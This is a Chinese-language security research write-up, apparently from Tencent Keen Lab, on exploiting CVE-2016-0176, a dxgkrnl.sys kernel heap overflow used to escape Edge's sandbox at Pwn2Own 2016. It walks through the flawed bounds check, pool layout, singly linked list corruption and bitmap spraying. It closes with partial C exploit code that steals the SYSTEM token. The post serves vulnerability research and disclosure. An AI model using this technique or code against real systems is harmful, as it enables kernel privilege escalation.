來源: 騰訊科恩實驗室官方博客
作者: Daniel King (@long123king)
如何攻破微軟的Edge瀏覽器
攻破微軟的Edge瀏覽器至少需要包含兩方面基本要素:瀏覽器層面的遠程代碼執行(RCE: Remote Code Execution)和瀏覽器沙箱繞過。 瀏覽器層面的遠程代碼執行通常通過利用Javascript腳本的漏洞完成,而瀏覽器的沙箱繞過則可以有多種方式,比如用戶態的邏輯漏洞,以及通過內核漏洞達到本地提權(EoP: Escalation of Privilege)。
微軟Edge瀏覽器使用的沙箱是建立在Windows操作系統的權限檢查機制之上的。在Windows操作系統中,資源是可以在全系統范圍內被共享的,比如一個文件或者設備可以在不同進程間被共享。由于有些資源里面包含著敏感信息,而另外一些資源的完整性則關乎系統的正常運轉,如果被破壞了就會導致整個系統的崩潰。因此當一個進程在訪問資源時需要進行嚴格的權限檢查。當一個資源被打開時,主調進程的令牌信息會與目標資源的安全描述符信息進行匹配檢查。權限檢查由幾個不同層面的子檢查組成:屬主身份及組身份檢查,特權檢查,完整性級別及可信級別檢查,Capability檢查等等。上一代的沙箱是基于完整性級別機制的,在沙箱里面運行的應用程序處于Low完整性級別,因此無法訪問處于Medium或者更高級別的資源。微軟的Edge瀏覽器采用的是最新一代的沙箱機制,這代沙箱是基于AppContainer的,運行在沙箱里的應用程序依然處于Low完整性級別,當它們嘗試訪問資源時,除了進行完整性級別檢查,還需要進行Capabilities的檢查,這種檢查更加細膩以及個性化。關于權限檢查機制的更多細節,可以參考我在ZeroNights 2015上的演講:Did You Get Your Token?
沙箱繞過的最常用的方法是通過內核態的漏洞利用,直接操作內核對象(DKOM: Direct Kernel Object Manipulation)以達到本地提權。
CVE-2016-0176
這個漏洞是位于dxgkrnl.sys驅動中,是一個內核堆溢出漏洞。
被篡改的數據結構定義如下:
typedef struct _D3DKMT_PRESENTHISTORYTOKEN
{
D3DKMT_PRESENT_MODEL Model; //D3DKMT_PM_REDIRECTED_FLIP = 2,
UINT TokenSize; // 0x438
UINT64 CompositionBindingId;
union
{
D3DKMT_FLIPMODEL_PRESENTHISTORYTOKEN Flip;
D3DKMT_BLTMODEL_PRESENTHISTORYTOKEN Blt;
D3DKMT_VISTABLTMODEL_PRESENTHISTORYTOKEN VistaBlt;
D3DKMT_GDIMODEL_PRESENTHISTORYTOKEN Gdi;
D3DKMT_FENCE_PRESENTHISTORYTOKEN Fence;
D3DKMT_GDIMODEL_SYSMEM_PRESENTHISTORYTOKEN GdiSysMem;
D3DKMT_COMPOSITION_PRESENTHISTORYTOKEN Composition;
}
Token;
} D3DKMT_PRESENTHISTORYTOKEN;
我們把這個數據結構簡稱為”history token”,想要激發這個漏洞需要將關鍵成員變量按如下定義:
- Model要設置為D3DKMT_PM_REDIRECTED_FLIP;
- TokenSize要設置為0x438;
你大概已經猜到漏洞是存在在Token.Flip成員里面,該成員類型定義如下:
typedef struct _D3DKMT_FLIPMODEL_PRESENTHISTORYTOKEN
{
UINT64 FenceValue;
ULONG64 hLogicalSurface;
UINT_PTR dxgContext;
D3DDDI_VIDEO_PRESENT_SOURCE_ID VidPnSourceId;
……
D3DKMT_DIRTYREGIONS DirtyRegions;
} D3DKMT_FLIPMODEL_PRESENTHISTORYTOKEN;
繼續深入到DirtyRegions的類型定義:
typedef struct tagRECT
{
LONG left;
LONG top;
LONG right;
LONG bottom;
} RECT, *PRECT, NEAR *NPRECT, FAR *LPRECT; // 0x10 bytes
typedef struct _D3DKMT_DIRTYREGIONS
{
UINT NumRects;
RECT Rects[D3DKMT_MAX_PRESENT_HISTORY_RECTS]; // 0x10 * 0x10 = 0x100 bytes
//#define D3DKMT_MAX_PRESENT_HISTORY_RECTS 16
} D3DKMT_DIRTYREGIONS;
現在我們已經到達了最基本類型的定義, 看到一個成員是DWORD類型的NumRects, 另外一個是數組RECT,其中每個元素的類型是Rects, 這個數組是定長的,有16個元素的空間,每個元素0x10字節,每個這個數組的總長度是0x100字節。

上圖展示了被篡改的數據結構的布局以及它們之間的關系,左面一欄是我們在調用 Win32 API 函數D3DKMTPresent時從用戶態傳入的數據結構,中間一欄是dxgkrnl.sys驅動接收到并維護的對應的數據結構,它是從左面一欄的數據結構中拷貝出來的,而右面一欄是內嵌定義在history token中的成員Token.Flip的數據結構。我們知道一個union的大小是由其成員中最大的成員大小決定的,而在這里Token.Flip恰好是unionToken中最大的一個成員,也就是說整個history token數據結構是由Token.Flip中的內容填滿直到結尾,這個特征非常重要,大大簡化了利用的復雜度。
有了上面關于數據結構的知識,我們就可以很方便地理解這個漏洞了,現在展示的是引起漏洞的匯編代碼片斷:
loc_1C009832A: DXGCONTEXT::SubmitPresentHistoryToken(......) + 0x67B
cmp dword ptr[r15 + 334h], 10h // NumRects
jbe short loc_1C009834B; Jump if Below or Equal(CF = 1 | ZF = 1)
call cs : __imp_WdLogNewEntry5_WdAssertion
mov rcx, rax
mov qword ptr[rax + 18h], 38h
call cs : __imp_WdLogEvent5_WdAssertion
loc_1C009834B: DXGCONTEXT::SubmitPresentHistoryToken (......) + 0x6B2
mov eax, [r15 + 334h]
shl eax, 4
add eax, 338h
jmp short loc_1C00983BD
loc_1C00983BD: DXGCONTEXT::SubmitPresentHistoryToken (......) + 0x6A5
lea r8d, [rax + 7]
mov rdx, r15; Src
mov eax, 0FFFFFFF8h;
mov rcx, rsi; Dst
and r8, rax; Size
call memmove
在這片代碼的入口處,r15寄存器指向的是history token結構的內存區域。代碼首先從內存區域的0x334偏移處取出一個DWORD,并與0x10進行比較,通過上圖我們可以看到取出的DWORD正是Token.Flip.NumRects成員,而0x10則是內嵌數組Token.Flip.Rects容量,所以這里比較的是Token.Flip.NumRects的值是否超出了Token.Flip.Rects數組的容量。如果你是在代碼審查時遇到了這段代碼,那么你可能會自言自語道大事不妙,微軟已經意識到了這個潛在的溢出,并做了比較嚴格的檢查。硬著頭皮往下看,當溢出發生時,代碼會以assertion的方式將這個異常情況記錄到watch dog驅動,但是這個比對后的產生的兩個代碼分枝最終又都在loc_1C009834B處會合。可能你會想watch dog驅動有機會對代碼溢出情況做出反應,通過bug check主動藍屏(BSOD),然而事實上什么都沒有發生。 不管你對Token.Flip.NumRects這個變量設置什么值,代碼都會最終執行到loc_1C009834B處的代碼塊,這個代碼塊對Token.Flip.NumRects值做了一些基礎的算術運算,并且用運算的結果指定memcpy操作拷貝的長度。
為了更加直觀地說明問題,把匯編代碼改寫成對應的C++代碼:
D3DKMT_PRESENTHISTORYTOKEN* hist_token_src = BufferPassedFromUserMode(…);
D3DKMT_PRESENTHISTORYTOKEN* hist_token_dst = ExpInterlockedPopEntrySList(…);
if(hist_token_src->dirty_regions.NumRects > 0x10)
{
// log via watch dog assertion, NOT work in free/release build
}
auto size = (hist_token_src->dirty_regions.NumRects * 0x10 + 0x338 + 7) / 8;
auto src = (uint8_t*)hist_token_src;
auto dst = (uint8_t*)hist_token_dst;
memcpy(dst, src, size);
事情更加簡單明了,無論我們給Token.Flip.NumRects指定什么樣的值,一個內存拷貝操作在所難免,拷貝操作的源數據正是我們通過調用Win32 API D3DKMTPresent從用戶態傳入的buffer,拷貝操作的目標是通過調用ExpInterlockedPopEntrySList從內核堆上分配的buffer,而拷貝操作的長度是通過計算擁有Token.Flip.NumRects個元素的數組的長度,再加上數組成員在history token結構體中的偏移,以及因為對齊產生的padding長度。如果我們為Token.Flip.NumRects指定了一個大于0x10的長度,那么內核堆溢出就發生了,我們可以控制溢出的長度,以及溢出的前0x38字節內容(如上面介紹數據結構布局的圖所示,在從用戶態傳入的數據中,我們可以控制history token結構后面的0x38字節數據)。
這個漏洞非常有意思,因為微軟已經預見了它的存在卻沒能阻止它的發生,我們可以從中得到的教訓是不要濫用編程技巧,除非你知道你自己在干什么,比如assertion機制。
利用
對于一個堆利用來說,了解目標內存區域附近的內存布局至關重要,我們已經知道目標內存是通過ExpInterlockedPopEntrySList函數在內核態內存池中分配的。
通過簡單調試,我們可以得到如下內存池信息:
kd> u rip-6 L2
dxgkrnl!DXGCONTEXT::SubmitPresentHistoryToken+0x47b:
fffff801`cedb80fb call qword ptr [dxgkrnl!_imp_ExpInterlockedPopEntrySList (fffff801`ced77338)]
fffff801`cedb8101 test rax,rax
kd> !pool rax
Pool page ffffc0012764c5a0 region is Paged pool
*ffffc0012764b000 : large page allocation, tag is DxgK, size is 0x2290 bytes
Pooltag DxgK : Vista display driver support, Binary : dxgkrnl.sys
這是一個比較大的內存區域,大小為0x2290字節,因為這個大小已經超過了一個內存頁的長度(一個內存頁是0x1000字節),所以它是以大頁內存(Large Page Allocation)分配的,三個連續內存頁被用來響應這次大頁內存分配申請,為了節約內存,在0x2290之后的多余空間被回收并且鏈接到了Paged Pool的free list上面,供后續的小內存分配使用。在0x2290之后,會插入一個起到分隔作用的標記為Frag的內存分配。關于內核內存池及大頁分配的詳情,參考Tarjei Mandt的白皮書:Kernel Pool Exploitation on Windows 7。下面展示的是在0x2290偏移附近的內存內容:
kd> db ffffc0012764b000+0x2290 L40
ffffc001`2764d290 00 01 02 03 46 72 61 67-00 00 00 00 00 00 00 00 ....Frag........
ffffc001`2764d2a0 90 22 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ."..............
ffffc001`2764d2b0 02 01 01 00 46 72 65 65-0b 43 44 9e f1 81 a8 47 ....Free.CD....G
ffffc001`2764d2c0 01 01 04 03 4e 74 46 73-c0 32 42 3a 00 e0 ff ff ....NtFs.2B:....
驅動dxgkrnl.sys中的DXGPRESENTHISTORYTOKENQUEUE::GrowPresentHistoryBuffer函數用來分配并管理一個鏈接history token的單鏈表。每個history token的長度是0x438字節,加上內存池分配的頭部及padding一共0x450字節,所以0x2290大小的內存被平均分成8個history token,并且以倒序的方式鏈接在單鏈表中。驅動dxgkrnl.sys意圖將單鏈表以look-aside list的方式來響應單個history token的內存分配請求。
單鏈表初始狀態時如下所示:
單鏈表在響應過一個history token分配請求后如下所示:
單鏈表在響應過兩個history token分配請求后如下所示:
明確了溢出的目標內存處的內存布局,我們得到兩種溢出方案:
方案1:溢出0x2290偏移后面的復用的小內存分配空間:
方案2:溢出相鄰的單鏈表頭部,轉化成單鏈表利用:
方案1有諸多限制,因為我們只能控制溢出的前0x38字節內容,這意味著減掉padding空間,用于分隔的frag內存池分配項目的長度以及接下來的內存池分配的頭部,我們沒有多余發揮的空間。
方案2看起來很可行,雖然我們知道Windows內核現在已經強制對雙鏈表進行完整性檢查,但是對于單鏈表沒有任何檢查,因此我們可以通過覆蓋單鏈表中的next指針達到重定向讀寫的目標。
為了進一步驗證可行性,我們先在頭腦里演繹一下方案2的種種可能。上面的幾張圖已經展示了從單鏈表中彈出兩個history token的情形,此時我們可以溢出節點B,讓它覆蓋節點A的頭部,然后我們將節點B壓回單鏈表:
當我們把節點A也壓回單鏈表時,接下來會怎樣,會不會如我們所料將單鏈表的讀寫重定向到被溢出覆蓋的next指針處
很遺憾并非如我們所料,這種重定向讀寫不會發生,因為當我們將節點A壓回單鏈表時,覆蓋的QWORD會恢復成指向節點B的指針:
我們回到已經彈出兩個節點的狀態再嘗試另外一種可能:
這次我們先將節點A壓回單鏈表:
然后我們溢出節點B,以覆蓋節點A的頭部,因為此時節點A已經被回收進單鏈表,所以不會再有任何操作可以將子節點A的頭部恢復了。現在單鏈表已經被破壞了,它的第二個元素已經指向了溢出覆蓋的QWORD所指向的內存處。:
經過了上面的演繹,我們對方案2信心十足,現在我們就開始動手吧!看起來我們必須對單鏈表亂序調用push和pop,至少要有兩次連續的pop,我做了如下的嘗試:
嘗試1:循環調用D3DKMTPresent并傳入可導致溢出的buffer。
結果失敗了,經過調試發現每次都在重復pop節點A,使用后push節點A這個循環,根本不會產生亂序。原因很簡單,循環調用D3DKMTPresent被逐個響應,所以我們必須同時調用它才能產生亂序。
嘗試2:在多線程中循環調用D3DKMTPresent并傳入可導致溢出的buffer。
結果又失敗了,經過一些簡單的逆向分析,D3DKMTPresent的調用路徑應該是被加鎖保護了。
經歷了兩次挫敗,不免開始懷疑人生,是否會出現兩次連續的pop呢?然后很快就意識到絕對可行,肯定是我姿勢不對,否則這相對復雜的單鏈表就退化成單個變量了,肯定有其他的內核調用路徑可以激發單鏈表pop操作。我編寫了一個windbg腳本記錄每次push和pop操作,然后嘗試打開一些圖形操作密集的應用程序,只要發現了兩次連續的pop就證明發現了第二條路徑。經過簡單的嘗試,奇跡出現了,當我打開Solitaire游戲時,兩次pop出現了,經過簡單的調試,發現BitBlt API會觸發第二條pop的內核路徑。
嘗試3:在多線程中循環調用D3DKMTPresent并傳入可導致溢出的buffer,同時在另外一批多線程中循環調用BitBlt。
這一次終于成功地將單鏈表中的next指針重定向到指定位置,達到了內核態任意地址寫的目的。但是這種寫的能力有限,很難重復,而我們想要通過DKOM方式偷換令牌需要多次內核讀寫,而這種矛盾在Pwn2Own 2016的3次嘗試總時間15分鐘的嚴苛比賽規則下顯得更加突出,我們需要一些其他技巧。
其他技巧
如何達到可重復的內核態任意地址讀寫
為了達到這個目標,我使用win32k的位圖bitmap對象作為中間目標。首先向內核態內存中spray大量的bitmap對象,然后猜測它們的位置,并試圖通過上面的重定向寫技巧修改它們的頭部,當我成功地命中第一個bitmap對象后,通過修改它的頭部中的buffer指針和長度,讓其指向第二個bitmap對象。因此總共需要控制兩個bitmap對象,第一個用來控制讀寫的地址,而第二個用來控制讀寫的內容。
再詳細地講,我一共向內核內存中spray了4GB的bitmap對象,首先通過噴射大尺寸的256MB的bitmap對象來鎖定空間以及引導內存對齊,然后將它們逐個替換成1MB的小尺寸bitmap對象,這些對象肯定位于0x100000的邊界處,就使得猜測它們的地址更加簡單。
在猜測bitmap對象地址的過程中需要信息泄露來加快猜測速度,這是通過user32! gSharedInfo完成的。
偷換令牌
有了可重復地任意地址讀寫的能力后,再加上通過sidt泄露內核模塊的地址,我們可以方便地定位到nt!PspCidTable指向的句柄表,然后從中找出當前進程以及system進程對應的_EPROCESS結構體,進而找到各自的_TOKEN結構的地址,從而完成替換。
部分利用代碼
VOID ThPresent(THREAD_HOST * th)
{
SIZE_T hint = 0;
while (TRUE)
{
HIST_TOKEN ht = { 0, };
HtInitialize(&ht);
SIZE_T victim_surf_obj = ThNextGuessedAddr(th, ++hint);
SIZE_T buffer_ptr = victim_surf_obj + 0x200000 + 0x18;
th->backupBufferPtr1 = victim_surf_obj + 0x258;
th->backupBufferPtr2 = victim_surf_obj + 0x200000 + 0x258;
SIZE_T back_offset = 0x10;
SURFOBJ surf_obj = { 0, };
surf_obj.cjBits = 0x80;
surf_obj.pvBits = (PVOID)buffer_ptr;
surf_obj.pvScan0 = (PVOID)buffer_ptr;
surf_obj.sizlBitmap.cx = 0x04;
surf_obj.sizlBitmap.cy = 0x08;
surf_obj.iBitmapFormat = 0x06;
surf_obj.iType = 0;
surf_obj.fjBitmap = 0x01;
surf_obj.lDelta = 0x10;
DWORD dwBuff = 0x04800200;
HtSetBuffer(&ht, 0x18 + th->memberOffset - back_offset, (unsigned char*)&surf_obj, 0x68);
HtSetBuffer(&ht, 0x70 + th->memberOffset - back_offset, &dwBuff, sizeof(DWORD));
if (th->memberOffset - back_offset + 0xE8 < 0x448)
{
SIZE_T qwBuff = victim_surf_obj + 0xE0;
HtSetBuffer(&ht, 0xE0 + th->memberOffset - back_offset, &qwBuff, sizeof(SIZE_T));
HtSetBuffer(&ht, 0xE8 + th->memberOffset - back_offset, &qwBuff, sizeof(SIZE_T));
}
if (th->memberOffset - back_offset + 0x1C0 < 0x448)
{
SIZE_T qwBuff = victim_surf_obj + 0x1B8;
HtSetBuffer(&ht, 0x1B8 + th->memberOffset - back_offset, &qwBuff, sizeof(SIZE_T));
HtSetBuffer(&ht, 0x1C0 + th->memberOffset - back_offset, &qwBuff, sizeof(SIZE_T));
}
HtOverflowNextSListEntry(&ht, victim_surf_obj);
HtTrigger(&ht);
if (th->triggered)
break;
}
}
VOID ThTrigger(THREAD_HOST * th)
{
SIZE_T i = 0;
HANDLE threads[TH_MAX_THREADS] = { 0, };
unsigned char second_buffer[0x78] = { 0, };
for (SIZE_T i = 0; i < TH_MAX_THREADS; i++)
{
if (th->triggered)
{
break;
}
if (i == 9)
{
DWORD thread_id = 0;
threads[i] = CreateThread(NULL, 0, ProbeThreadProc, th, 0, &thread_id);
}
else if (i % 3 != 0 && i > 0x10)
{
DWORD thread_id = 0;
threads[i] = CreateThread(NULL, 0, PresentThreadProc, th, 0, &thread_id);
}
else
{
DWORD thread_id = 0;
threads[i] = CreateThread(NULL, 0, BitbltThreadProc, th, 0, &thread_id);
}
}
for (i = 0; i < TH_MAX_THREADS; i++)
{
if (threads[i] != NULL)
{
if (WAIT_OBJECT_0 == WaitForSingleObject(threads[i], INFINITE))
{
CloseHandle(threads[i]);
threads[i] = NULL;
}
}
}
Log("trigged\n");
ThRead(th, (const void*)th->backupBufferPtr2, second_buffer, 0x78);
ADDR_RESOLVER ar = { 0, };
ArInitialize(&ar, th);
SIZE_T nt_addr = ArNTBase(&ar);
SIZE_T psp_cid_table_addr = nt_addr + PSP_CIDTABLE_OFFSET;
SIZE_T psp_cid_table_value;
ThRead(th, psp_cid_table_addr, &psp_cid_table_value, 0x08);
SIZE_T psp_cid_table[0x0C] = { 0, };
ThRead(th, psp_cid_table_value, psp_cid_table, 0x60);
SIZE_T table_code = psp_cid_table[1];
SIZE_T handle_count = psp_cid_table[0x0B] & 0x00000000ffffffff;
SIZE_T curr_pid = GetCurrentProcessId();
do
{
ThParseCidTable(th, table_code, handle_count);
Sleep(1000);
} while (th->currentEprocess == NULL || th->systemEprocess == NULL);
SIZE_T curr_proc = th->currentEprocess;
SIZE_T system_proc = th->systemEprocess;
SIZE_T system_token = 0;
ThRead(th, (system_proc + 0x358), &system_token, 0x08);
SIZE_T curr_token = 0;
ThRead(th, (curr_proc + 0x358), &curr_token, 0x08);
ThWrite(th, (curr_proc + 0x358), &system_token, 0x08);
ThRead(th, (curr_proc + 0x358), &curr_token, 0x08);
ThRestore(th);
Log("elevated\n");
Sleep(3600000);
return;
}
參考:
- Rainbow Over the Windows
- Did You Get Your Token?
- Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes
- Kernel Pool Exploitation on Windows 7
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/117/
暫無評論